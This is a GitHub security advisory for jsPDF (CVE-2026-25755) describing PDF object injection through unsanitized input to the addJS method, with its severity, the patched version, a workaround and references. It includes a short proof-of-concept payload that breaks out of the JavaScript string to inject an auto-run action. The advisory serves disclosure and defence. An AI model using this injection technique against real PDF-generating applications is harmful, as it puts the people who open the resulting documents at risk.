parallax/jspdf · Security
jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method
- GHSA ID
- GHSA-9vjf-qc39-jprp
- CVE ID
- CVE-2026-25755
- Severity
- high
- Published
- Updated
- CVSS
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- CVSS v3
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Description
Impact
User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
Patches
The vulnerability has been fixed in [email protected].
Workarounds
Escape parentheses in user-provided JavaScript code before passing them to the addJS method.
References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
CWEs
- CWE-94 · Improper Control of Generation of Code ('Code Injection')
- CWE-116 · Improper Encoding or Escaping of Output
References
- https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp ↗
- https://nvd.nist.gov/vuln/detail/CVE-2026-25755 ↗
- https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437 ↗
- https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md ↗
- https://github.com/parallax/jsPDF/releases/tag/v4.2.0 ↗
- https://github.com/advisories/GHSA-9vjf-qc39-jprp ↗